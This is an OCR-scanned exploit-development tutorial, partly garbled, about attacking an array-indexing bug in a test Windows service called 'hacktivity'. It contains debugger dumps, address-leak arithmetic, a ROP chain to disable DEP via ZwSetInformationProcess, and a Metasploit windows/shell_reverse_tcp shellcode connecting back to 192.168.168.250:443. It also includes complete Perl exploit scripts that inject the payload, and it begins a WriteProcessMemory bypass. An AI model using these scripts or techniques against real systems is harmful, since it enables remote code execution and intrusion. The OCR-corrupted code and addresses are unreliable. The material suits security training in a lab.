ARSF 1420 Hit trace 3 Conditional Shift+F2 oo
BRZF1442

GRSF 1444 Run trace ¥ Conditional log Shift+-4
HAZSF 1443 . L
Run to selection F4
Jurp £00M New origin here Ctrl+Gray *
Go to k Memory, on access

hacktivit
Addrezz || Follow in Dump 3 Memory, on write ?[
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[

Blex| wn| s+ ¥ Y +f L|E[M|T|WH|C|/K[B[R].[S]

[E cPU - main thread, module hacktivi =10] =]
GEEl12F0() o SDBC24 24@4@a| LEA EDI, DWORD PTR S5:[ESP+424] Regist [ FFPL)
geE11404|| - F3:AS REF MOUS DWORD PTR ES:CEDIT,DWORD FTR e
aEaiides|] L ne MOUS BYTE PTR ES:[EDI1,EVTE PTR DS:[ES Ert ABABHAGH :

> 2E5424 26 MOY EDX, DWORD FTR S5:LESF+2@] EC BRELIAEE hackt ivi. < Fadu L
EEEFREEE BT MOU EA, DWORD PTR OS:[EDX] I e :
aaal14a0(| . s0aC24 24@<4@@l| LEA ECH, DWORD FTR 55:[ESF+424] ESF RESEFERH
aEaiidid|] . 51 FUSH ECH EEF BESEFEZR
oaEli41c|| o SD4cze 24 LEA ECH,DWORD PTR S5:[ESP+24] EST RRERAREE
aEaii413|] o FFOE CALL EAR EDl AERARREE
aEAL141E|] ~~E9 SABEEEEE JHP hackt ivi.@08114AA o
aEGEl142a(| = 83F0 83 CHMP EBF, 32 EIF 88811RASC hacktivi.<Modulg
GEEl1422() ~BF3E 216060688 | JME hackt ivi.B86114AA ;

C B ES BB23 22bit B(FFFFFFFS
gaEllgsd)| . S3FF 8z CHE EDI, 2 F 1 CZ @@1E 32bit B(FFFFFFFH
BEEL 1420 ) ~BF8S FE0B0E0E | JHNE hackt ivi. 8081 14AA A @ S5 86823 37bit BiFFFFFFFH
eae11432(| . SB4CZ4 15 MOY_ECK, DWORD PTR S5: [ESF+181 51 BE BR5S SE0ii BiFFFFFFFT
aeai143e|| . @FEFF424 14 || HOWSH ESILWORD FTR 55:[ESP+141 & B F: OESE S3hit TFFOFGEALA
aaE1143e(] . E1 PUSH ECH T B BE aEER AOLL
Bo511430|| T 28 zazsmioe || PUSH hackt ivi.oea13524 ASCII "READ o

. acktivi. - z
faniiaaz | ° FEOS CALL EES * Q0 8 LastErr ERROR_SUCCESS (4§
Jurp from BOGE11S0C EFL BB8bpEz24e (HO,HE,E,EBE, M5, H

STE empty G©.8

hackt ivituzA13. cppila3, classmuobi.add w Elé el a.g

GEE146R3[ZE OF 41 6| 74 72 7B E5|.TAUtype [HE=EF252

slue to arcadloffset, walusls Prrecon_le)
Address |[Hex dump ASCII " TE0Z0EES| RETURH to kernel3z2. rE0208ES s
OEEI4EEE] 48 21 O] BE| BE 68 600 o6| Bl ... :I ShEE e
GEA14A16| EF 69 6E 66| 6F 46 4@ BA|_ info@e. BEZEFS2C|| 7F4A19EE| RETURH to ntdll.7r4A19EE

HHZEFS36| | FTFFO9E0R
BEA14818|4E E6 40 BE| Bl 19 BF 44| HpEq#ED
@EE14626| FF FF FF FF|FF FF FF FF SSEEEE%E Sgggggég
BEA14828|FE FF FF FF| 81 0@ B8 80| w B... anzerasr| | AnRRERRG
HEEl4E26 (48 2] B8] 66 68 B8 88 G0 E1E..... Gaserean || PEEDSGmE
BEA14838| 2E 3F 41 56|60 v9 &F 62| . TAUmMwob ancErads| | AnpaERRG
HEA] 484R
Baa1 4845 BAZEFS4S| | 0aaa8806
BEE1 4850 HHZEFS4C| | BAAEEEEE
HEE] 4655 HEZEFS5E || BE2EF234
BEE1 456 HHZEFS54 || BAAEEEEE )
AEE 14853 BEZEF2E2(| BEBZEFEVE| Pointer to next SEH record
BRG] 4873 HHZEFSEC|| 7F4699FA| 5E handler
HEE1 4875 BEZEFSEE| | BF4BEECE
BRE1 4826 HHZEFS64 || BEAEEEEE
HEE] 46822 HEZEFSEE | LABZEF 220
HEE] 4896 BEZEFSEC| VP4A1PSE|RETURN to ntdll.774A198E from n
BEE1 4892 HEZEFS7E| @8Rl 1ASC|hackt ivi.<Modu leEntryPoint
HEE]1 48A6 HEZEFS74| FFFO9@EE
BRE1 48RS HHZEFSFS| FFFFFFFF|End of SEH chain
FE6 | 4 EEE « || 82EFSvC| FFSEEFSE|SE handler -

AAPFESSG| ARARGEGE

connect to the application by netcat

nc.exe 127.0.0.1 12345

and set any value. Now I used the following command:

VADD 0,1234

=+.| Administrator: Command Prompt - nc.exe 127.0.0.1 12345

Cawrnc.exe 127.8.8.1 12345 _|j
Commands :

—HELP: no parameters required, type this message

—JADD numl.numZ2 : set the numl—-th element of the array to numZ. valid values: nu
mli B..255, pum2 32 bit integer

—READ num :reads the num—th element of the array valid num values: BA..255

—EXIT: exit from the application

UADD B.1234

When the application stops at the breakpoint.
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Blex| wn| v ¥ 1 »| »f v|E[M[T|w]H|c|/|K|B|R[..[s] =Z[H]?]

[E cru - main thread, module hacktivi - |O] x|
BOE11TTD|] . SOECz4 Z4G4mel | LER EDI, DWORD FTR So: [ESP+a24] i
ooE114a4|| - F2:As REP MOUS DWORD PTR ES:[EDIT,OWORD PTR | Fegisters [FPL
panli4ae|] - n4 MOUS EYTE PTR ES:[EDI1,BYTE FTR DS:[ES SR R e, s
i BEC4z4 z@ QY EDH, DWORD FTR S55: [ESF+26] I | 5 S3irelol MoOR9E. radrel

BGEL146E| | . SEGE MOY Ef, DWORD FTR DS: CEDHI | B e
Bopliden|| . SDSC24 240400|| LER ECX,DUORD PTR 55:[ESP+4241 Bl :
aoat (41| | : 804c24 24 LER EC Ecx OUORD PTR 55: [ESF+241 ECr pomooons
611416 vE9 snaaaaaa SHE hacks Ly . B6B1 146 S el T o
saalid4zal]l = 2aF CHMP EEF, 2 EIF 88811467 hackt ivi.8881144
BEA1 1423 vBFSE SIBBEBBE JMZ hackt ivi.@@811400 -

C 1 ES @822 32bit B(FFFFFFFH
GEE11429) | . 220 CHE EODI, 2 F 1 CZ B@1E 32bit @(FFFFFFFH
HERL 1420 vBFSE ?SBBBBBB JHE hackt ivi.88601 14AA ana S5 @A23 32bit @LFFFFFFFR
eaelidsz|| o sEdczd 18 MOU ECH, DWORD PTR $5: [ESF+181 s B SR AEEE SEehl BERAe
@EA11436|| . BFEFF4z4 14 || MOUSK ESI,WORD FTR 55:[ESP+141 LW mE LpEE meel AL
eael143e|] o 51 FUSH ECH =0 B el
Bog1idan|| ; E5 zazsmize || FUSH hackeivi.poei3szd ASCIT "READ ba

o acktivi. e =

e T A e |0 6 LastErr ERROR_SUCCESS (f
Stack S5 [OPCEECOEI—BOBIT4EL (hackt vl BBBISAEC] EFL @e@aazsy (Ha,E,NE,EBE, S, P
EDH=774C4B4F (ntdll.7r4CaE4F] ST8 empty 6.8
Jump from BEA1130C ST1 empty 8 B
hacktivitw2Bl3.cop: 128, classmyobi.add walue to arravloffset.valusl: =8 e,

Check the values on the stack:

BEAREESE -
BEZEECTYC) FEOCIZAC| WS2_22. closesocket
AEZEECSHE| BRZEF7DE
BEZEEC24 | BEABREEEA
BEZEECSS| Fr4898F4| RETURH to ntdll.7FFP4898F4 from n
AEZEECEC| BERBEE8Eaa
AEZEECTE| BRABE402
HEZEEC?4| 80000880
AEZEECZS] BAALZ4EC|hacktivi. 8813460
BEZEECAC, BEAEE402
AEZEECAE|  F42CEEE8
BEZEECA4 | BOAREEE1
BEZEECAZ| BE0EE8a3
HAEZEECAC| BAZEED48
BEZEECES| 749CEE0E|ASCII "PE™
HEZEECE4| BOZEECF4
AEZEECES| BEREEEEE
BEZEECEC| BOREEEE1
AEZEECCH| 742CE808[(ASCII "FE™
BEZEECCH | FEB2EECEA I
BEZEECCE| ] Pr4f4Bel | RETURH to ntdll.FP4R4BEl from
AEZEECCC| | F42CBE888
BEZEECDE | | BEREEEE 1

AEZEECD4 | | BEREEEEZ -
aezEErne | ARTEEOLA

As we can see the position 0 is 0x002EEC9C (0x000004D2 = 1234). If one look around this
position we find the following interesting places:

*  0x002EECI9C: 0x000004D2 = 1234 --> position 0

*  0x002EECAC: 0x002EEDA40 this is the position 4 and it is a pointer to stack. We need it, to
calculate what to write to position 3, and -1.

*  0x002EECCS: 0x774A4B61 this is the position 11 it is a pointer to ntdll.dll, we need it, to
calculate what to write to position 0 (EBP fix gadget position) and position 5 (DEP turn of
gadget position).

So until now we had the following stuff to do:

* Position 0 should be the address where we can fix EBP (0x7747CD3D)

* Position 3 should be a pointer points to writeable address, because it will be moved to ESI.
The easiest way to satisfy it is to use an address points to the stack. For example use the
same value what we should use at position -1. it will be modified after the fire of the exploit
so that value do not need for us, it can be changed.

* Position 4 should be an address on the stack, because it will be moved to EBP. If you take a



look it is fulfilled by default so just leave position 4 as it is do not change.

* Position S should be the address of the next gadget, what is the DEP turn off gadget, what is
0x774CC2F3.

* Position -1 should be the address of position 0. It fires the control of EIP.

Now it changes on the following way:

Read the value at position 4 we get a position on the stack. For example now we read the value
0x002BEDBA4. To position 3, and -1 we should write the address of position 0. the position 0O is
0x002BED64. 0x002EED40 - 0x002EEC9C = 0xA4 = 164.

Read the value at position 11 we get the address 0x774A4B61. The address of the first gadget is
0x7747CD3D. 0x774A4B61 - 0x7747CD3D = 0x27E24 = 163364

Read the value at position 11 we get the address 0x774A4B61. The address of the second gadget is
0x774CC2F3. 0x774CC2F3 - 0x774A4B61 = 0x27792 = 161682

* Read position 4 let it be P4

* Read position 11 let it be P11

* Position 0 should be the address where we can fix EBP (P11 - 163364)

* Position 3 should be a pointer points to writeable address, because it will be moved to ESI.
The easiest way to satisfy it is to use an address points to the stack. For example use the
same value what we should use at position -1. it will be modified after the fire of the exploit
so that value do not need for us, it can be changed. (P4 - 164).

* Position 4 should be an address on the stack, because it will be moved to EBP. If you take a
look it is fulfilled by default so just leave position 4 as it is do not change.

* Position 5 should be the address of the next gadget, what is the DEP turn off gadget, what is
(P11 + 161682).

* Position -1 should be the address of position 0 (P4 - 164). It fires the control of EIP.

Most probably you do not want to calculate it by a calculator, better to start to write an exploit code,
to do this stuff. The following perl script does the described steps:

use I0::Socket;
use Time::HiRes gw (usleep);

my Ssock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345"',

Proto => 'tcp',):

die "Error: $!\n" unless S$sock;

usleep (100000) ;
Ssock->recv ($data, 1024) ;
print S$data;

Sline = "READ 4\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($p4,1024) ;
print $p4 . "\r\n";



usleep (100000) ;

$line = "READ 11\r\n";
print $sock $line;
usleep (100000) ;

Ssock->recv ($pll,1024);
print $pll . "\r\n";
usleep (100000) ;

Stmp = $pll - 163364;
$line = "VADD 0, S$tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $pd - 164;

$line = "VADD 3, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = S$pll + 161682;
$line = "VADD 5, S$tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $pd - 164;

$line = "VADD -1, S$tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

close ($sock) ;

Restart the application, and put a breakpoint to the position 0x7747CD3D. As you remember this is
the first gadget we want to call. We put here the breakpoint, because do not want to stop after every
VADD command, only when the exploit is fired. And we hope it will work, so we arrive and stop
here. If no, then there is a problem with the perl code. To do it select Debug \ Restart.
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Right click anywhere in the disassembly window, then select Go to / Expression from the popup

menu.
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Type the address of the first gadget (for me it is 0x7747CD3D) then press OK.

When you arrived to the requested position right click to the ADD ESP, 38 line, and select

Enter expression to follow

|7747cd3d |

] I Eancell

Breakpoint / Toggle from the popup window.
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Then run the application by pressing F9.
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Then run the perl code

.| Administrator: Commmand Prompt

stestral.pl

ommands =

HELF: no parameters reguired, type this message

UADD noml.num2 : set the numl—-th element of the array to numZ. valid
1 8..255, num2 32 bit integer

READ num :“reads the num—th element of the array valid num values: B_.
EXIT: exit from the application

J6Bh6

BA1357665

ADD B.20081194381

ADD 3.1306692

ADD 5.20@1519347

ADD —1.1386692

sntestXx g

The application hopefully stops at the breakpoint:
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ESP=BR0z0FE7E EFL ©B@gEz23s (MO, HE,ME,.A, S, F

5TE empty @.8
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BER14BES[ZE oF 41 o6 74 79 7@ 65| . TAUtupe BEZOFA7E) GEEERE5E
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A AT

find the position 0 on the stack, it will be ESP+2C (for me it is 0x002DF09C now). Put another
breakpoint to the RET 4 instruction of the second (DEP turn off) gadget (for me it is 0x77487C78).
Then let the application run until this breakpoint by the F9 button.
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Tr4EvCeE] B14E 24 BOOOBEEZ] OF DWORD PTR DS5: [ESI+34], S00EEEEE

Tr4avCYs( BF FOP EDI
Tr4a7CYe( SE FOF ESI
Tr4a7vCey| 50 FOF EEP
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ERROR_SUCCESS (f
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SEAEEEE ]
BEAREHED
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=]
FH to ntdll.774A4BE1 from T:J

FETURH to ntdll.7743303A from n

FETURH to ntdll.7743304C from n

Check the ESP. For me it is 0x002DFOCS. It menas this RET instruction uses the position

0x002DFOCS8 - 0x002DF09C /4 = 0xB = 11

Add the shellcode

So we should jump to our shellcode by the position 11.

Let us start the shellcode at position 100. Why 100, just. We leave there some place for later usage,

and whatever it may be necessery.

To jump to position 100 we should use the value P4 + 236 at position 11. (P4-164 = position 0;
position 100 = position 0 + 4*100 = P4-164+400 = P4+236. An integer is 4 bytes long that is why

4*100).
Start the metasploit console, and generate a payload.

Use the show payloads command, to list the payloads:



[+ Metasploit Pro Console I ] 2
| Fle Edit View Help

|23 D0 e

=[ metasploit v4.6.0-dev [core:4.6 api:1l.0] -~
+ —— ——=[ 1068 exploits - 670 auxiliary - 179 post
+ —— ——=[ 277 pavloads - 29 encoders - & nops

[#*] Successfully loaded plugin: pro
m=f > show pavyloads I

Select a payload, I selected the windows/shell reverse tcp. Type:

use windows/shell reverse tcp

[* Metasploit Pro Console I ] [
| Fle Edt View Help

|m-em3hibh|e e

maf > use windnwsfshell_reverse_tcp -~
m=f payload(shell reverse_ tcp) >
m=f payload(shell reverse tcp) »

Use the show options command, to check the parameters of the payload

[ Metasploit Pro Console =]
| Fle Edit View Help

|m-es3|hih| e e

msf payload(shell reversze tcp) > show options -
Module options ipaylnadfwindnwsfshell_reverse_tcp]:

Hame Current Setting Regquired Description

EXITFUNC process yes Exit technique: =eh, thread, process, no
ne

LHOST yes The li=sten address

LECRET 4444 ves The listen port
m=f payload(shell reverse tcp) >
msf payload(shell reversze tcp) >

The IP of my test computer is 192.168.168.250 so I will connect back to that address. And I will use
the port 443.

set LHOST 192.168.168.250
set LPORT 443



¥ Metasploit Pro Console I ] 3
| Fle Edt View Help

J B $|[t]Ej|@3~E
m=f payload(shell rewvers
LHCOST => 182.168.168.250
m=f payload(zhell rewvers
LPCRT =»> 443

m=f payleoad(shell
msf payload(shell

e tcp) > set LHOST 152.168.168.250 -

e tcp) > set LPORT 443

m
]
m

_tcp) >
_tep)

H M

m
]
m

Then use the generate -t pl command, to generate the payload in perl:

¥ Metasploit Pro Console I = [
| Fle Edit View Help

J o T @ $|Ej[3|(@ =

m=f payload(shell reverse tcp) > generate -t pl -~
# windows/shell reverse tcp - 314 bytes

$# http://www.metasploit.com

$# VERBO3E=false, LHOST=1%2.168.168.250, LPORT=443,

I got he following payload:

# windows/shell reverse tcp - 314 bytes

# http://www.metasploit.com

# VERBOSE=false, LHOST=192.168.168.250, LPORT=443,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependMigrate=false, EXITFUNC=process,

# InitialAutoRunScript=, AutoRunScript=

my Sbuf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0o"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
"\x31\xcO0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d4"
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5£f"
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68"
"\xc0\xa8\xa8\xfa\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xab5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7"
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50"
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3£f"
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff"
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
"\x6£\x6a\x00\x53\x££\xd5";



As we see it is 314 bytes long, so 314 / 4 = 78.5 positions. We have altogether 255 positions to
write, we do not use 100 so 150 is remaining, what is much more, than the required 78.5. So there is
no problem with the payload size.

You should take care to the following thing, the value is an integer number, and if it greater than
Ox7FFFFFFF (2147483647) then the clever visual studio 2008 compiled a code, will not turn over,
but it will be set to 0x7FFFFFFF.

Simplier, if you enter the value 2147483648 (0x80000000) or greater you will get 0x7FFFFFFF.

So to get values greater than OX7FFFFFFF you should enter negative values. If you want to enter
2147483648 (0x80000000) you should use the value -2147483648 (0x80000000 DWORD) if you
want to enter OXFFFFFFFF you should use the value -1 (OxFFFFFFFF DWORD).

Based on these information we can write the following exploit code:

use I0::Socket;
use Time::HiRes qgw (usleep);

# windows/shell reverse tcp - 314 bytes

# http://www.metasploit.com

# VERBOSE=false, LHOST=192.168.168.250, LPORT=443,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependMigrate=false, EXITFUNC=process,

# InitialAutoRunScript=, AutoRunScript=

my Sbuf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xeb5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0O"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
"\x31\xcO0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x74d"
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xcd4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68"
"\xc0\xa8\xa8\xfa\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xab5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7"
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50"
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff"
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
"\x6f\x6a\x00\x53\xff\xd5H";

my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",
PeerPort => '12345"',



Proto => 'tcp',):
die "Error: $!\n" unless Ssock;

usleep (100000) ;
Ssock->recv ($data, 1024) ;
print $data;

$line = "READ 4\r\n";
print S$sock $line;
usleep (100000) ;

Ssock->recv ($p4,1024) ;
print $p4 . "\r\n";
usleep (100000) ;

$line = "READ 11\r\n";
print $sock $line;
usleep (100000) ;

$sock->recv ($pll,1024);
print $pll . "\r\n";
usleep (100000) ;

Stmp = $pll - 163364;
$line = "VADD 0, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p4d - 164;

$line = "VADD 3, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $pll + 161682;
$line = "VADD 5, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

Stmp = $p4d + 236;

$line = "VADD 11, $tmp\r\n";
print $sock $line;

print $line;

usleep (100000) ;

for (Scount=50; Scount<125; Scount++)
{

Stmp = hex ("0x90909090") ;

if (Stmp>2147483647)

{
Stmp = Stmp - 4294967296



}
$line = "VADD S$count, Stmp\r\n";
print $sock $line;
print $line;
usleep (100000) ;
}

for (Scount=0; Scount<78; Scount++)
{
Stmp = 256*256*256*0ord (substr S$Sbuf, 4*S$Scount+3,1)
+ 256*256*ord (substr S$buf, 4*Scount+2,1)
+ 256*ord(substr S$buf, 4*Scount+l,1)
+ ord(substr S$buf, 4*S$Scount+0,1);
if (Stmp>2147483647)

{
Stmp = Stmp - 4294967296

}
Spos = 125 + S$count;
$line = "VADD $pos, Stmp\r\n";
print $sock $line;
print $line;
usleep (100000) ;
}

Stmp = 256*256*256*hex ("0x90"™)
+ 256*256*hex ("0x90")
+ 256*ord(substr Sbuf, 313,1)
+ ord(substr Sbuf, 312,1);
if (Stmp>2147483647)
{
Stmp = Stmp - 4294967296
}
Spos = 125 + 78;
$line = "VADD $pos, Stmp\r\n";
print $sock $line;
print $line;
usleep (100000) ;

for (Scount=125+79; Scount<255; Scount++)
{

Stmp = hex ("0x90909090") ;

if (Stmp>2147483647)

{

Stmp = Stmp - 4294967296

}

$line = "VADD S$Scount, Stmp\r\n";

print $sock $line;

print $line;

usleep (100000) ;
}

Stmp = $Sp4d - 164;
$line = "VADD -1, S$tmp\r\n";



print Ssock $line;
print $line;
usleep (100000) ;

close ($sock) ;

If we run this code... It does not work:



DEP bypass v2 WriteProcessMemory

Problem with the previous DEP bypass solution
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As we can see there is an error message, and the code does not run. Like we were not turned off the
DEP by our code, inspite the calling of zwSetInformationProcess. What happened? To figure it out
restart the application, and put a breakpoint to the address of

call zwSetInformationProcess

for me it is 0x772F515F one might recognize it is different to the previous values, it happened,
because I write the doccumentation in more parts, and the virtual machine were restarted, caused
the base address of ntdll.dll modified because of the ASLR.
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‘Blex] wu] s 30 A ) wE[M]r[wE]c] /K| B[R]

ES CHElAadiEE CALL ntdll.ZwSet Informat ionProcess
FrEeFElEd | «ED DEZE@aE8E JHP ntdl L. FF2FFCEE - fFe L?EE;EEéEPL
rreFs169] 2@ MHaF BARBREAR
rreFE1ER H1EB1ASC
rreFS16E YFFO28aa
Fre2FE160C BE1AFC@
rreFS160( 9@ MOF BA1AFCIS
FreFE1EE o EEEHEEéﬁEDI {55555 5] 5]
SEEC MOL EEF, ESF B
S1EC 20620808 | SUB ESF, 223 B1GE1ASE

Now run the application by pressing F9. then run the previous al.pl perl script, to stop here.
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EZ COH1E466 CALL ntdll.éwSetInformat ionProcess Regist [FFU]
~E9 BEZBHERE JHF ntdll. 7P2F7CEE = S

Fr2FE1e9) 9@ MHOP
HOF BE1AF 183

BE1AF 180
maP EOFELDCE HSU
BRIAF11C

PPEFE1EE MOL EDT.EOT BE1AF1EE

Use the F8 button, or put a breakpoint to the next instruction then F9 to run only this call.
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PU - main thread, module ntdll

E2 CHE1E460 CALL ntdll.ZwSetInformat ionProcess Regist [FFL
cezieled B52EEEEE JHP ntdll.7FeF7CEE - EEELEBSESBEE

& MOF
EC BEIAF114
e eh ED¥ 77Z3SET4 ntdll.KiFastSystd
EEX SDFELDCC MSUCRSE. printf
e len ESF BE1AF1ZC
TFEFS160[ 9@ HOF

7YZFE1EE MO EDI,EDI EBF EELiElS?
=5 PUSH_EEF EDT BE1QF Lec
SEEC MOY EEF,ESP
FFEFEiFE| BIEC zomomecs | SUB ESP, 228 EIF 7P2FS164 ntdll.?PeFCicd

As you can see the return value in EAX is 0xC0000022, not 0x00. It used to mean some error.
Really our nice DEP turn off function just not work. The cause of it a linker option in visual studio
2008 called as /NXCOMPAT. If the application is linked with this option like this one, and every
application by default, then the operating system (at least windows XP SP3, or Windows Vista SP1,
or Windows Server 2008) dows not let the DEP turned off during the life of the process (this
mechanism is called as permanent DEP).
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Configuration: I.-'—\cﬁvelfRelease) j Platform: I.-'—\cﬁvei\"'.n'inﬂ) j Configuration Manager. . [Help
Common Properties Entry Point
Configuration Properties Mo Entry Paint Mo
General Set Checksum No
Debugging Basze Address
C.j,"C++ Randomized Base Address Enable Image Randomization (JOYMNAMICEASE)
Linker Fixed Base Address Default
General Data Execution Prevention (DEF) Image is compatible with DEP {MXCOMPAT) ;I
Input .
A . Turn Off Assembly Generation Mo
Manifest File .
) Delay Loaded DLL Daon't Support Unload
Debugging I tlb
System mport Li r.?r\,r
Optimization Merge Sections
Embedded 0L Target Machine MachineX86 (/MACHINE:X86)
Advancad Profile Mo
Command Line CLR Thread Attribute Mo threading attribute set
Manifest Tool CLR Image Type Default image type
XML Document Generatar Key File
Browse Information Key Container
Build Events Delay Sign s]
Custom Build Step Error Reporting Prompt Immediately ({ERRORREPCRT:PROMPT)
CLR Unmanaged Code Check Mo

Data Execution Prevention (DEP)

Indicates that an executable was tested to be compatible with the Windows Data Execution Prevention
feature. {JNXCOMPAT, MXCOMPAT:NG)

QK I Cancel | Apply |

To test it I compiled another version of the same application, where I set the /NXCOMPAT linker
option to false. I started this application, then put a breakpoint to the ZwSetInformationProcess, and
run again the script.
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CPU - main thread, module ntdll

ES CHE18488 CHLL ntdll.ZwSetInformat ionProcess Regist [FPL
77325164 BEZERRGR JHE ntdll. PPe2TCeE =

5] HOP
Fr92516r BE1REERA

561 AEEES
TTIZE1EE EF1Z1DCC HMSUCRI
77I2516C

861 AEECS
77I25160| 99 HOF B0 10EFSS
77I2516E HOY ECI, EDI G511 AEEE
FFO2E17E| BE PUSH EBP G0 10EEEY
77925171| SBEC HOoU EEF, ESP
TrOZEiva| S1EC 2o@feees | SUE ESP, 225 FrHER15F ntdll.

After the hit of the breakpoint use the F8 of put another breakpoint to the next instruction, then F9
button, to run this call.
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As we can see now the value of EAX is 0 so there were no problem with the DEP turn off. If we let
the code continue to run our exploit.

Then we must try another method. The one I chose is based on the WriteProcessMemory function.

New solution WriteProcessMemory

The advantage of this function is that, it automatically sets the destination address to writeable. So
we should take care only to find a Read and Executable memory, the writing is not important. There
is a little problem with this, the writeable flag is set only temporaly for the time of the copy so if
one want to use self modifying shellcode for example encoded shellcode it is still necessery, to find
(or allocate) memory with Read, Write and executable flags. According to the MSDN this function
is defined as follows:

BOOL WINAPI WriteProcessMemory (

_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,

In SIZE T nSize,

“Out_ SIZE T *lpNumberOfBytesWritten
)

hProcess should be -1 (OxFFFFFFFF) means the current process

IpBaseAddress Destination of the copy (a read and executable or read write executable memory)
IpBuffer Source address of the copy (address of our shellcode on the stack)

nSize Length of our shellcode

IpNumberOfBytesWritten address where to write the actually copied number of bytes (any
writeable address is good, we do not need it)

All of us know that, if we call a function on 32 bit systems we pass the parameters on the stack, and
we must put the parameters in opposite order. The last value on the stack will be the return address
(because of the function call). So simply, to call this function with the correct parameters we must
set up the stack as follows:

IpNumberOfBytesWritten any writeable address ESP + 14

nSize Length of our shellcode ESP+ 10

IpBuffer Source address of the copy ESP + 0C




IpBaseAddress Destination of the copy ESP + 08

hProcess should be OxXFFFFFFFF, means the current process ESP + 04

RETURN Address it should be again the destination of the copy, bacuse we want to |ESP
call our shellcode.

It means we should use the following values:

* position -1 the address of position 0 it will fire the exploit

* position 0 the address of the WriteProcessMemory function

* position 1 OXFFFFFFFF means the current process (hProcess)
* position 2 destination of the copy (IpBaseAddress)

* position 3 Source Address of the copy (IpBuffer)

* position 4 number of bytes to copy (nSize)

* position 5 any writeable address (IpNumberOfBytesWritten)

Because of the ASLR we can do it on the following way, let us find a position on the stack, where a
return address to kernel32.dll can be found. The first one I found was at position 0x0014F8AS8. The
0 position is 0x0014F25C it means an address to kernel32.dll can be found at position 403
(0x0014F8AS8 - 0x0014F25C / 4 = 0x193 = 403):

e S W _ =
